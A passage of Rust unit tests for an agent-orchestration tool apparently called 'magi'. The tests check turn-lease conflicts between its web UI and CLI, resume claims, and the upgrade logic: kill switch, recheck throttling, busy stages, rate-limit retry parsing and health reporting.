22896            run: "20260901-000000-othr".to_owned(),
22897        }];
22898        beat.updated_at = jiff::Timestamp::now();
22899        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22900            .expect("publish a heartbeat");
22901
22902        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22903        assert_eq!(res.status, 409);
22904        let err = res.json()["error"].as_str().unwrap().to_owned();
22905        assert!(err.contains("othr"), "it names what the loop is on: {err}");
22906        assert!(err.contains("stop it first"), "{err}");
22907    }
22908
22909    #[test]
22910    fn a_run_cannot_be_resumed_twice_at_once() {
22911        let home = TempDir::new().expect("temp home");
22912        let ui = Ui::new(
22913            Queue::at(home.path().join("queue")),
22914            Questions::at(home.path().join("questions")),
22915            Talks::at(home.path().join("talks")),
22916            home.path().join("runs"),
22917            home.path().to_path_buf(),
22918            PathBuf::from("/repo"),
22919        )
22920        .with_worktrees_root(home.path().join("wt"));
22921        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22922        let again = ui.begin_resume("20260901-000000-once");
22923        assert!(again.is_err(), "a second tap must not start a second graph");
22924        drop(first);
22925        assert!(
22926            ui.begin_resume("20260901-000000-once").is_ok(),
22927            "and the claim is released when the attempt ends"
22928        );
22929    }
22930
22931    #[test]
22932    fn talk_thinking_tracks_only_its_held_turn_claim() {
22933        let home = TempDir::new().expect("temp home");
22934        let ui = Ui::new(
22935            Queue::at(home.path().join("queue")),
22936            Questions::at(home.path().join("questions")),
22937            Talks::at(home.path().join("talks")),
22938            home.path().join("runs"),
22939            home.path().to_path_buf(),
22940            PathBuf::from("/repo"),
22941        )
22942        .with_worktrees_root(home.path().join("wt"));
22943        let id = "20260901-000000-once";
22944
22945        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22946        let turn = ui.begin_talk_turn(id).expect("claim turn");
22947        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22948        assert!(
22949            !ui.is_thinking("20260901-000000-other"),
22950            "one talk's turn does not make another talk busy"
22951        );
22952        drop(turn);
22953        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22954    }
22955
22956    #[test]
22957    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22958        let home = TempDir::new().expect("temp home");
22959        let talks = Talks::at(home.path().join("talks"));
22960        let ui = Ui::new(
22961            Queue::at(home.path().join("queue")),
22962            Questions::at(home.path().join("questions")),
22963            talks.clone(),
22964            home.path().join("runs"),
22965            home.path().to_path_buf(),
22966            PathBuf::from("/repo"),
22967        )
22968        .with_worktrees_root(home.path().join("wt"));
22969        let id = "20260901-000000-cross";
22970
22971        let other = Talks::at(home.path().join("talks"))
22972            .claim_turn(id)
22973            .expect("claim")
22974            .expect("the other process wins");
22975        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22976        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22977        assert!(
22978            matches!(
22979                ui.begin_talk_turn_unless_pending(id).expect("start"),
22980                TalkTurnStart::Foreign
22981            ),
22982            "a foreign holder is refused, not queued behind"
22983        );
22984        assert!(
22985            !ui.talk_turns.lock().unwrap().live.contains(id),
22986            "a refused claim leaves no in-process entry behind"
22987        );
22988        drop(other);
22989        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22990        assert!(talks.turn_held(id), "the web turn holds the lease");
22991        drop(turn);
22992        assert!(
22993            !talks.turn_held(id),
22994            "dropping the guard releases the lease"
22995        );
22996    }
22997
22998    fn consult_question(ui: &Ui) -> Question {
22999        let mut q = Question::new(
23000            "20260901-000000-consult".to_owned(),
23001            "implement".to_owned(),
23002            "impl-A".to_owned(),
23003            "Which backend?".to_owned(),
23004            String::new(),
23005            vec!["SQLite".to_owned(), "Redis".to_owned()],
23006        );
23007        ui.questions.put(&mut q).expect("question");
23008        q
23009    }
23010
23011    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23012        (
23013            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23014            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23015        )
23016    }
23017
23018    #[tokio::test]
23019    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23020        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23021        let q = consult_question(&ui);
23022        let talk = ui.talks.get(&id).expect("talk");
23023        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23024        let before = consult_snapshot(&ui, &q, &id);
23025        let cli_talks = Talks::at(ui.home.join("talks"));
23026        assert_eq!(
23027            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23028                .await
23029                .expect("CLI starter"),
23030            crate::consult::Started::Busy
23031        );
23032        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23033        assert!(ui.is_thinking(&id));
23034        drop(guard);
23035        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23036    }
23037
23038    #[tokio::test]
23039    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23040        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23041        let q = consult_question(&ui);
23042        let talk = ui.talks.get(&id).expect("talk");
23043        let started = tmp.path().join("started");
23044        let release = tmp.path().join("release");
23045        let script = tmp.path().join("consult-agent.sh");
23046        std::fs::write(
23047            &script,
23048            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23049        )
23050        .expect("script");
23051        let mut cfg = stub_config();
23052        cfg.agents[0].id = "mock".to_owned();
23053        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23054        cfg.agents[0].env = std::collections::BTreeMap::from([
23055            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23056            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23057        ]);
23058        let questions = ui.questions.clone();
23059        let cli_talks = Talks::at(ui.home.join("talks"));
23060        let cli_q = q.clone();
23061        let turn = tokio::spawn(async move {
23062            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23063        });
23064        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23065            while !started.exists() {
23066                tokio::time::sleep(Duration::from_millis(10)).await;
23067            }
23068        })
23069        .await;
23070        // Always release and join the agent, even if readiness or the web
23071        // request fails, so a failed assertion cannot leave a turn behind.
23072        let refusal = if ready.is_ok() {
23073            let before = consult_snapshot(&ui, &q, &id);
23074            let result = talk_say(
23075                State(Arc::clone(&ui)),
23076                Path(id.clone()),
23077                Ok(Json(NewTalkTurn {
23078                    reply_to: None,
23079                    text: "another message".to_owned(),
23080                    attachments: Vec::new(),
23081                })),
23082            )
23083            .await;
23084            Some((result, before, consult_snapshot(&ui, &q, &id)))
23085        } else {
23086            None
23087        };
23088        std::fs::write(&release, "").expect("release agent");
23089        let done = turn.await.expect("join CLI turn");
23090        ready.expect("agent started before deadline");
23091        let (result, before, after) = refusal.expect("web request");
23092        let error = result.expect_err("web must refuse the CLI's turn");
23093        assert_eq!(error.status, StatusCode::CONFLICT);
23094        assert!(error.message.contains("a turn is already running"));
23095        assert_eq!(
23096            after, before,
23097            "refusal preserves question, draft and history"
23098        );
23099        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23100        let guard = ui
23101            .begin_talk_turn(&id)
23102            .expect("web claim")
23103            .expect("free again");
23104        drop(guard);
23105    }
23106
23107    #[test]
23108    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23109        let home = TempDir::new().expect("temp home");
23110        let talks = Talks::at(home.path().join("talks"));
23111        let ui = Ui::new(
23112            Queue::at(home.path().join("queue")),
23113            Questions::at(home.path().join("questions")),
23114            talks.clone(),
23115            home.path().join("runs"),
23116            home.path().to_path_buf(),
23117            PathBuf::from("/repo"),
23118        )
23119        .with_worktrees_root(home.path().join("wt"));
23120        let id = "20260901-000000-order";
23121        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23122        // Hold the slot mutex so the drop can finish the lease but not the slot.
23123        let slots = ui.talk_turns.lock().unwrap();
23124        let dropper = std::thread::spawn(move || drop(turn));
23125        let start = std::time::Instant::now();
23126        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23127            std::thread::sleep(Duration::from_millis(5));
23128        }
23129        assert!(!talks.turn_held(id), "the lease is released first");
23130        assert!(slots.live.contains(id), "the slot is still held meanwhile");
23131        drop(slots);
23132        dropper.join().expect("join");
23133        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23134    }
23135
23136    #[tokio::test]
23137    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23138        let fx = Fixture::start().await;
23139        let mut beat = crate::daemon::Status::new();
23140        beat.worker_protocol = None;
23141        beat.pid = 4321;
23142        beat.updated_at = jiff::Timestamp::now();
23143        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23144            .expect("publish a heartbeat");
23145
23146        let res = fx.post("/api/upgrade", None).await;
23147        assert_eq!(res.status, 409);
23148    }
23149
23150    /// [`should_spawn_recheck`] must refuse for the same two reasons
23151    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
23152    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
23153    /// Purely a predicate over config and the environment - no network, no
23154    /// disk, no runtime - so unlike the fixture-based tests around it this
23155    /// one needs neither.
23156    #[test]
23157    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23158        assert!(!should_spawn_recheck(&crate::config::Update {
23159            mode: UpdateMode::Off,
23160            interval: None,
23161            auto_restart: false,
23162        }));
23163
23164        // SAFETY: single-threaded as far as this variable goes, the same
23165        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23166        unsafe {
23167            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23168        }
23169        let killed = should_spawn_recheck(&crate::config::Update {
23170            mode: UpdateMode::Notify,
23171            interval: None,
23172            auto_restart: false,
23173        });
23174        unsafe {
23175            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23176        }
23177        assert!(
23178            !killed,
23179            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23180             one-time startup check"
23181        );
23182
23183        assert!(should_spawn_recheck(&crate::config::Update {
23184            mode: UpdateMode::Notify,
23185            interval: None,
23186            auto_restart: false,
23187        }));
23188    }
23189
23190    /// [`recheck_poll_period`] must track a configured `[update] interval`
23191    /// shorter than its own default ceiling - a fixed sleep here would leave
23192    /// an operator's short interval waiting on the next wake-up instead of on
23193    /// `should_check`, which is the same bug this whole task exists to fix,
23194    /// just one level down.
23195    #[test]
23196    fn recheck_poll_period_tracks_a_short_configured_interval() {
23197        let short = crate::config::Update {
23198            mode: UpdateMode::Notify,
23199            interval: Some("1m".to_owned()),
23200            auto_restart: false,
23201        };
23202        let period = recheck_poll_period(&short);
23203        assert!(
23204            period <= Duration::from_secs(30),
23205            "a one-minute interval must wake the task far sooner than the \
23206             default ceiling, or the deck would not notice within the \
23207             interval the operator configured: got {period:?}"
23208        );
23209
23210        let default = crate::config::Update {
23211            mode: UpdateMode::Notify,
23212            interval: None,
23213            auto_restart: false,
23214        };
23215        assert_eq!(
23216            recheck_poll_period(&default),
23217            UPDATE_RECHECK_POLL_MAX,
23218            "the default day-long interval should poll at the (capped) \
23219             ceiling rather than needlessly often"
23220        );
23221    }
23222
23223    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23224    /// same throttle `updater::Checker::should_check` already gives the
23225    /// CLI's notify mode. Built over an explicit state file via
23226    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23227    /// write the operator's real `last_update_check.json` - and therefore
23228    /// cannot flake on whatever that file happens to say on the machine
23229    /// running the test.
23230    #[test]
23231    fn recheck_skips_the_network_before_the_interval_elapses() {
23232        let dir = TempDir::new().expect("temp dir");
23233        let path = dir.path().join("state.json");
23234        let state = kaishin::UpdateCheckState {
23235            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23236            last_known_latest: None,
23237            last_known_url: None,
23238        };
23239        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23240
23241        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23242        assert!(
23243            !update_recheck_due(&checker, None),
23244            "a check made moments ago must not be repeated before the \
23245             configured interval elapses"
23246        );
23247    }
23248
23249    /// An upgrade this deck already started must not be raced by a recheck
23250    /// that discovers a newer release mid-install - regardless of what
23251    /// `should_check` says, which is why the state file here is missing
23252    /// entirely: read alone, that alone would answer "never checked, go
23253    /// ahead".
23254    #[test]
23255    fn recheck_defers_to_an_upgrade_already_in_flight() {
23256        let dir = TempDir::new().expect("temp dir");
23257        let path = dir.path().join("state.json");
23258        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23259        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23260
23261        assert!(
23262            !update_recheck_due(&checker, Some(&progress)),
23263            "a recheck must not run while an upgrade this deck started is \
23264             still moving"
23265        );
23266    }
23267
23268    #[tokio::test]
23269    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23270        // The same env var the background check honours (`disabled_by_env`)
23271        // must also stop a button press before it ever calls
23272        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23273        // means "never contact GitHub from this process", and a tap on the
23274        // upgrade button must not override that any more than a broken
23275        // `magi.toml` may. Left unset, this fixture's default config would
23276        // otherwise reach a real, unauthenticated GitHub call.
23277        //
23278        // SAFETY: single-threaded as far as this variable goes - nothing else
23279        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23280        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23281        unsafe {
23282            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23283        }
23284        let fx = Fixture::start().await;
23285        let res = fx.post("/api/upgrade", None).await;
23286        unsafe {
23287            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23288        }
23289        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23290        let body = res.json();
23291        assert!(body["to"].is_null(), "there was no release to move to");
23292        assert!(body["parked"].is_null(), "and nothing was parked");
23293        assert!(
23294            body["detail"]
23295                .as_str()
23296                .unwrap()
23297                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23298            "{body:?}"
23299        );
23300    }
23301
23302    #[test]
23303    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23304        use AutoUpgradeDecision::{Skip, Trigger, Wait};
23305        let mut cfg = Update::default();
23306        assert!(matches!(
23307            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23308            Skip(_)
23309        ));
23310        cfg.auto_restart = true;
23311        assert_eq!(
23312            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23313            Trigger
23314        );
23315        assert_eq!(
23316            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23317            Wait
23318        );
23319        for (disabled, moving, failed) in [
23320            (true, false, None),
23321            (false, true, None),
23322            (false, false, Some("v2")),
23323        ] {
23324            assert!(matches!(
23325                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23326                Skip(_)
23327            ));
23328        }
23329        assert_eq!(
23330            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23331            Trigger
23332        );
23333        cfg.mode = UpdateMode::Off;
23334        assert!(matches!(
23335            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23336            Skip(_)
23337        ));
23338    }
23339
23340    #[test]
23341    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23342        let home = TempDir::new().unwrap();
23343        let ui = idle_ui(&home);
23344        assert!(!ui.auto_upgrade_busy());
23345        let directory = home.path().join("workers/jobs/abcdef");
23346        std::fs::create_dir_all(&directory).unwrap();
23347        let mut job = crate::worker::Job {
23348            id: "abcdef".into(),
23349            sequence: 1,
23350            kind: "scheduler".into(),
23351            key: "scheduler".into(),
23352            payload: serde_json::json!({}),
23353            generation: "test".into(),
23354            version: None,
23355            status: crate::worker::Status::Running,
23356            result: None,
23357            pid: None,
23358            created_at: 0,
23359            finished_at: None,
23360        };
23361        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23362        let write = |job: &crate::worker::Job| {
23363            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23364        };
23365        write(&job);
23366        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23367        for kind in ["task", "chat"] {
23368            job.kind = kind.into();
23369            write(&job);
23370            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23371        }
23372        drop(lease);
23373        // Lease::drop explicitly unlocks even if a concurrent fork inherited
23374        // the descriptor. Check the real decision directly: a raw flock probe
23375        // here could itself be inherited and keep the worker looking busy.
23376        assert!(
23377            !ui.auto_upgrade_busy(),
23378            "completed execution permits updates"
23379        );
23380        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23381        assert!(
23382            ui.auto_upgrade_busy(),
23383            "unreadable worker state defers updates"
23384        );
23385    }
23386
23387    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23388        Box::pin(async { anyhow::bail!("test installer failed") })
23389    }
23390
23391    #[tokio::test]
23392    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23393        let home = TempDir::new().unwrap();
23394        std::fs::write(
23395            home.path().join("magi.toml"),
23396            "[update]\nauto_restart = true\n",
23397        )
23398        .unwrap();
23399        let mut ui = idle_ui(&home);
23400        ui.repo = home.path().to_path_buf();
23401        // Every successful trigger in this test uses this seam, never the installer.
23402        ui.upgrade_runner = fail_test_upgrade;
23403        let ui = Arc::new(ui);
23404        let latest = || {
23405            Some(kaishin::LatestRelease {
23406                tag_name: "v999.0.0".into(),
23407                html_url: String::new(),
23408            })
23409        };
23410        ui.talk_turns.lock().unwrap().live.insert("busy".into());
23411        assert_eq!(
23412            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23413                .await
23414                .status(),
23415            StatusCode::NO_CONTENT
23416        );
23417        assert!(updater::read_progress(home.path()).is_none());
23418        ui.talk_turns.lock().unwrap().live.clear();
23419        let gate = ui.upgrade_gate.lock().await;
23420        assert_eq!(
23421            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23422                .await
23423                .status(),
23424            StatusCode::CONFLICT
23425        );
23426        drop(gate);
23427        assert_eq!(
23428            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23429                .await
23430                .status(),
23431            StatusCode::ACCEPTED
23432        );
23433        let progress = updater::read_progress(home.path()).unwrap();
23434        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23435        assert_eq!(progress.stage, updater::Stage::Downloading);
23436        assert!(progress.parked_run.is_none());
23437        assert!(ui.start_detached_loop().await.is_err());
23438        assert!(ui.start_loop(None).is_err());
23439        assert!(ui.begin_resume("late").is_err());
23440        tokio::time::timeout(Duration::from_secs(2), async {
23441            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23442                tokio::task::yield_now().await;
23443            }
23444        })
23445        .await
23446        .unwrap();
23447        let progress = updater::read_progress(home.path()).unwrap();
23448        assert_eq!(progress.stage, updater::Stage::Failed);
23449        assert_eq!(
23450            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23451                .await
23452                .status(),
23453            StatusCode::NO_CONTENT
23454        );
23455        // The manual shared path records the same progress and runs the same seam.
23456        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23457        assert_eq!(
23458            finish_upgrade_request(&ui, result).status(),
23459            StatusCode::ACCEPTED
23460        );
23461        assert_eq!(
23462            updater::read_progress(home.path()).unwrap().trigger,
23463            updater::UpgradeTrigger::Manual
23464        );
23465        tokio::time::timeout(Duration::from_secs(2), async {
23466            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23467                tokio::task::yield_now().await;
23468            }
23469        })
23470        .await
23471        .unwrap();
23472    }
23473
23474    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23475        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23476        p.stage = stage;
23477        p
23478    }
23479
23480    #[test]
23481    fn busy_stages_match_the_ui_set() {
23482        use crate::updater::Stage;
23483        assert!(APP_JS.contains(
23484            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23485        ));
23486        for s in [
23487            Stage::Downloading,
23488            Stage::Replaced,
23489            Stage::Parking,
23490            Stage::Restarting,
23491        ] {
23492            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23493        }
23494        for s in [Stage::Done, Stage::Failed] {
23495            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23496        }
23497        assert!(upgrade_in_motion(None).is_none());
23498    }
23499
23500    #[tokio::test]
23501    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23502        use crate::updater::Stage;
23503        for stage in [
23504            Stage::Downloading,
23505            Stage::Replaced,
23506            Stage::Parking,
23507            Stage::Restarting,
23508        ] {
23509            let fx = Fixture::start().await;
23510            let seeded = seeded_progress(stage);
23511            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23512            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23513                .expect("read");
23514
23515            let res = fx.post("/api/upgrade", None).await;
23516            assert_eq!(res.status, 409, "{stage:?}");
23517            let err = res.json()["error"].as_str().unwrap().to_owned();
23518            assert!(err.contains("already in progress"), "{err}");
23519            assert!(err.contains(stage.as_str()), "{err}");
23520
23521            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23522                .expect("read");
23523            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23524            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23525                .unwrap_or_default();
23526            assert!(!log.contains("signalling HANDOVER"), "{log}");
23527        }
23528    }
23529
23530    #[test]
23531    fn upgrade_retry_timing_only_parses_known_diagnostics() {
23532        assert_eq!(
23533            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23534            Some(3723)
23535        );
23536        assert_eq!(
23537            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23538            Some(60)
23539        );
23540        assert_eq!(
23541            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23542            Some(0)
23543        );
23544        for message in [
23545            "permission denied",
23546            "GitHub API rate limit exceeded",
23547            "GitHub rate limit (resets in unknown)",
23548            "GitHub rate limit (resets in 18446744073709551615d)",
23549        ] {
23550            assert_eq!(upgrade_retry_after(message), None, "{message}");
23551        }
23552    }
23553
23554    #[tokio::test]
23555    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23556        let home = TempDir::new().unwrap();
23557        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23558        ui.start_loop(None).unwrap();
23559        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23560        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23561        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23562        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23563        let response = finish_upgrade_request(&ui, result);
23564        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23565        assert_eq!(response.headers()["retry-after"], "120");
23566        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23567            .await
23568            .unwrap();
23569        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23570        assert!(body["error"].as_str().unwrap().contains(reason));
23571        assert_eq!(body["retry_after_secs"], 120);
23572        assert!(body["retry_at"].as_u64().is_some());
23573        for _ in 0..2 {
23574            let view = health(State(ui.clone())).await.unwrap().0;
23575            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23576            assert_eq!(failure, body);
23577        }
23578        assert_eq!(
23579            std::fs::read(updater::progress_path(home.path())).unwrap(),
23580            before
23581        );
23582        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23583        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23584        // A conflicting request must not erase the actionable earlier failure.
23585        let gate = ui.upgrade_gate.lock().await;
23586        assert_eq!(
23587            upgrade_post(State(ui.clone())).await.status(),
23588            StatusCode::CONFLICT
23589        );
23590        drop(gate);
23591        assert!(
23592            health(State(ui.clone()))
23593                .await
23594                .unwrap()
23595                .0
23596                .upgrade_request_error
23597                .is_some()
23598        );
23599        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23600        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23601        assert!(
23602            health(State(ui.clone()))
23603                .await
23604                .unwrap()
23605                .0
23606                .upgrade_request_error
23607                .is_none()
23608        );
23609        let live = ui.lock_loop().live.take().unwrap();
23610        live.stop.stop();
23611        live.handle.await.unwrap();
23612    }
23613
23614    #[tokio::test]
23615    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23616        use crate::updater::Stage;
23617        let repo = TempDir::new().expect("repo dir");
23618        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23619            .expect("write magi.toml");
23620        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23621        for stage in [Stage::Done, Stage::Failed] {
23622            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23623            let res = fx.post("/api/upgrade", None).await;
23624            assert_eq!(res.status, 200, "{stage:?}");
23625        }
23626        // No record at all, and the gate was released by the earlier calls.
23627        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23628        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23629    }
23630
23631    #[tokio::test]
23632    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23633        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23634        // and the route answers from its own logic.
23635        //
23636        // This test used to lean on the fixture's placeholder repo failing
23637        // config discovery, which left `mode = "notify"` - and a live,
23638        // unauthenticated call to the GitHub releases API inside a unit test.
23639        // GitHub allows 60 of those an hour per address, so the suite went red
23640        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23641        // long as somebody kept re-running it: every attempt spent another
23642        // request. Six reruns across four pull requests were charged to that
23643        // before it was read as a rate limit rather than a flake.
23644        //
23645        // What the assertion is about is the "already current" branch, which
23646        // is reached by there being no newer release *or* nowhere to look. The
23647        // second one needs no network and cannot be rate limited.
23648        let repo = TempDir::new().expect("repo dir");
23649        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23650            .expect("write magi.toml");
23651        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23652
23653        // It must answer 200 and leave the process alone: restarting for an
23654        // upgrade that did not happen parks the run in flight and drops every
23655        // connection to pay for nothing. A probe against a deck already on the
23656        // newest build did exactly that, which is how this case got its own
23657        // branch.
23658        let res = fx.post("/api/upgrade", None).await;
23659        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23660        let body = res.json();
23661        assert!(body["to"].is_null(), "there was no release to move to");
23662        assert!(body["parked"].is_null(), "and nothing was parked");
23663        assert!(
23664            body["detail"]
23665                .as_str()
23666                .unwrap()
23667                .contains("nothing restarted"),
23668            "{body:?}"
23669        );
23670    }
23671
23672    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23673        tokio::time::timeout(Duration::from_secs(5), async {
23674            while state.lock().unwrap().in_flight {
23675                tokio::task::yield_now().await;
23676            }
23677        })
23678        .await
23679        .expect("capacity scan finished");
23680    }
23681
23682    fn disk_test_scope(home: &FsPath) -> DiskScope {
23683        DiskScope {
23684            runs: home.join("runs"),
23685            worktrees: home.join("worktrees"),
23686            cache: Some(home.join("cache")),
23687        }
23688    }
23689
23690    fn known_disk_capacity() -> DiskCapacity {
23691        DiskCapacity {
23692            free_bytes: Some(100),
23693            runs_bytes: Some(200),
23694            worktrees_bytes: Some(300),
23695            cache_bytes: Some(400),
23696        }
23697    }
23698
23699    #[tokio::test]
23700    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23701        let home = TempDir::new().unwrap();
23702        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23703        let mut ui = delta_test_ui(home.path());
23704        let state = Arc::get_mut(&mut ui).unwrap();
23705        state.repo = home.path().to_owned();
23706        state.worktrees_root = home.path().join("worktrees");
23707        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23708        ui.monitor
23709            .worker_started
23710            .store(true, std::sync::atomic::Ordering::SeqCst);
23711        let cfg = deputy_config(&ui.repo);
23712        let scope = DiskScope::of(&ui, cfg.as_ref());
23713        let (started, reached) = tokio::sync::oneshot::channel();
23714        let (release, blocked) = std::sync::mpsc::channel();
23715        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23716            started.send(()).unwrap();
23717            blocked.recv().unwrap();
23718            known_disk_capacity()
23719        });
23720        assert!(cold.runs_bytes.is_none());
23721        tokio::time::timeout(Duration::from_secs(5), reached)
23722            .await
23723            .unwrap()
23724            .unwrap();
23725
23726        let requests: Vec<_> = (0..4)
23727            .map(|_| {
23728                let ui = ui.clone();
23729                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23730            })
23731            .collect();
23732        tokio::time::timeout(Duration::from_secs(5), async {
23733            for request in requests {
23734                let view = request.await.unwrap();
23735                let disk = serde_json::to_value(view.disk).unwrap();
23736                assert!(disk["runs_bytes"].is_null());
